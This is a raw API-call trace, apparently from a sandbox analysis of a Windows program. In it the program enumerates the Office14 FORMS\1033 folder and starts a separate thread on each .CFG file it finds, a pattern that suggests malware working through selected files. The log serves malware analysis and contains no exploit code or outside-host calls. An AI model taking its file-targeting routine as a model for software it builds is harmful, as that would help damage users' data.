[0127.762] wcscmp (_String1="INFOML.ICO", _String2=".") returned 1 [0127.762] wcscmp (_String1="INFOML.ICO", _String2="..") returned 1 [0127.762] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0127.762] wcscmp (_String1="INFOMS.ICO", _String2=".") returned 1 [0127.763] wcscmp (_String1="INFOMS.ICO", _String2="..") returned 1 [0127.763] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0127.763] wcscmp (_String1="IPM.CFG", _String2=".") returned 1 [0127.763] wcscmp (_String1="IPM.CFG", _String2="..") returned 1 [0127.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af7c0 [0127.763] wcscpy (in: _Dest=0x202af7c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.763] wcscat (in: _Dest=0x202af7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.763] wcscat (in: _Dest=0x202af7c0, _Source="IPM.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" [0127.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1964 [0127.764] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0127.764] wcscmp (_String1="IPML.ICO", _String2=".") returned 1 [0127.764] wcscmp (_String1="IPML.ICO", _String2="..") returned 1 [0127.764] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0127.765] wcscmp (_String1="IPMS.ICO", _String2=".") returned 1 [0127.765] wcscmp (_String1="IPMS.ICO", _String2="..") returned 1 [0127.765] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0127.765] wcscmp (_String1="MMSL.ICO", _String2=".") returned 1 [0127.765] wcscmp (_String1="MMSL.ICO", _String2="..") returned 1 [0127.765] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0127.765] wcscmp (_String1="MMSS.ICO", _String2=".") returned 1 [0127.765] wcscmp (_String1="MMSS.ICO", _String2="..") returned 1 [0127.765] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0127.765] wcscmp (_String1="NOTE.CFG", _String2=".") returned 1 [0127.765] wcscmp (_String1="NOTE.CFG", _String2="..") returned 1 [0127.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202ae9b0 [0127.765] wcscpy (in: _Dest=0x202ae9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.765] wcscat (in: _Dest=0x202ae9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.765] wcscat (in: _Dest=0x202ae9b0, _Source="NOTE.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" [0127.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1968 [0127.766] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0127.766] wcscmp (_String1="NOTEL.ICO", _String2=".") returned 1 [0127.766] wcscmp (_String1="NOTEL.ICO", _String2="..") returned 1 [0127.766] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0127.766] wcscmp (_String1="NOTES.ICO", _String2=".") returned 1 [0127.766] wcscmp (_String1="NOTES.ICO", _String2="..") returned 1 [0127.767] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0127.767] wcscmp (_String1="OMSMMS.CFG", _String2=".") returned 1 [0127.767] wcscmp (_String1="OMSMMS.CFG", _String2="..") returned 1 [0127.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4ad50 [0127.767] wcscpy (in: _Dest=0x1cf4ad50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.767] wcscat (in: _Dest=0x1cf4ad50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.767] wcscat (in: _Dest=0x1cf4ad50, _Source="OMSMMS.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" [0127.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c [0127.768] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0127.773] wcscmp (_String1="OMSSMS.CFG", _String2=".") returned 1 [0127.773] wcscmp (_String1="OMSSMS.CFG", _String2="..") returned 1 [0127.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4a9f0 [0127.774] wcscpy (in: _Dest=0x1cf4a9f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.774] wcscat (in: _Dest=0x1cf4a9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.774] wcscat (in: _Dest=0x1cf4a9f0, _Source="OMSSMS.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" [0127.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754 [0127.775] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0127.775] wcscmp (_String1="OOFL.ICO", _String2=".") returned 1 [0127.775] wcscmp (_String1="OOFL.ICO", _String2="..") returned 1 [0127.775] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0127.775] wcscmp (_String1="OOFS.ICO", _String2=".") returned 1 [0127.775] wcscmp (_String1="OOFS.ICO", _String2="..") returned 1 [0127.775] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0127.775] wcscmp (_String1="OOFTMPL.CFG", _String2=".") returned 1 [0127.776] wcscmp (_String1="OOFTMPL.CFG", _String2="..") returned 1 [0127.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4a600 [0127.776] wcscpy (in: _Dest=0x1cf4a600, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.776] wcscat (in: _Dest=0x1cf4a600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.776] wcscat (in: _Dest=0x1cf4a600, _Source="OOFTMPL.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" [0127.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974 [0127.777] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0127.777] wcscmp (_String1="POST.CFG", _String2=".") returned 1 [0127.777] wcscmp (_String1="POST.CFG", _String2="..") returned 1 [0127.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4aba0 [0127.777] wcscpy (in: _Dest=0x1cf4aba0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.777] wcscat (in: _Dest=0x1cf4aba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.777] wcscat (in: _Dest=0x1cf4aba0, _Source="POST.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" [0127.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4aba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978 [0127.779] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0127.779] wcscmp (_String1="POSTIT.CFG", _String2=".") returned 1 [0127.779] wcscmp (_String1="POSTIT.CFG", _String2="..") returned 1 [0127.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4ac30 [0127.779] wcscpy (in: _Dest=0x1cf4ac30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.779] wcscat (in: _Dest=0x1cf4ac30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.779] wcscat (in: _Dest=0x1cf4ac30, _Source="POSTIT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" [0127.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ac30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c [0127.780] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0127.780] wcscmp (_String1="POSTITL.ICO", _String2=".") returned 1 [0127.781] wcscmp (_String1="POSTITL.ICO", _String2="..") returned 1 [0127.781] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0127.781] wcscmp (_String1="POSTITS.ICO", _String2=".") returned 1 [0127.781] wcscmp (_String1="POSTITS.ICO", _String2="..") returned 1 [0127.781] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0127.781] wcscmp (_String1="POSTL.ICO", _String2=".") returned 1 [0127.781] wcscmp (_String1="POSTL.ICO", _String2="..") returned 1 [0127.781] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0127.781] wcscmp (_String1="POSTS.ICO", _String2=".") returned 1 [0127.781] wcscmp (_String1="POSTS.ICO", _String2="..") returned 1 [0127.781] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0127.781] wcscmp (_String1="RCLRPT.CFG", _String2=".") returned 1 [0127.781] wcscmp (_String1="RCLRPT.CFG", _String2="..") returned 1 [0127.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4acc0 [0127.781] wcscpy (in: _Dest=0x1cf4acc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.781] wcscat (in: _Dest=0x1cf4acc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.782] wcscat (in: _Dest=0x1cf4acc0, _Source="RCLRPT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" [0127.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4acc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980 [0127.783] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0127.783] wcscmp (_String1="REC.CFG", _String2=".") returned 1 [0127.783] wcscmp (_String1="REC.CFG", _String2="..") returned 1 [0127.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4b140 [0127.783] wcscpy (in: _Dest=0x1cf4b140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.783] wcscat (in: _Dest=0x1cf4b140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.783] wcscat (in: _Dest=0x1cf4b140, _Source="REC.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" [0127.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984 [0127.785] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0127.785] wcscmp (_String1="RECL.ICO", _String2=".") returned 1 [0127.785] wcscmp (_String1="RECL.ICO", _String2="..") returned 1 [0127.785] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0127.785] wcscmp (_String1="RECS.ICO", _String2=".") returned 1 [0127.785] wcscmp (_String1="RECS.ICO", _String2="..") returned 1 [0127.785] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0127.785] 